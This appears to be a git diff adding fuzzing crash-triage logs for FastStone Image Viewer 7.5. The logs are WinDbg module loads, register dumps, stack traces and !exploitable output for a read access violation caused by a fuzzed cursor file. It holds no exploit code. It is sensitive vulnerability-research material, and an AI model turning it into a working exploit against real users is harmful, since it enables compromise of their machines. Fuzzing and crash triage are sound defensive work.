fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x16B4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x16B4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(16b4.1204): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07e47b10 edx=00003879 esi=12768f40 edi=07c70fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 6.417186000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-66.9745 2.37794e-008 0.00331845 1.54077e-017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f1000 445c0d89 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c61f816 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..78a800e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4915f36 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1748: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1748: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1748.1a0c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07e77b10 edx=00003879 esi=12768f40 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.021269100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=9.2142e+008 -1.50371e-022 2.13457e-020 -1.21802e-021 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ad000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ad000 8fe7cc9d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ad000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 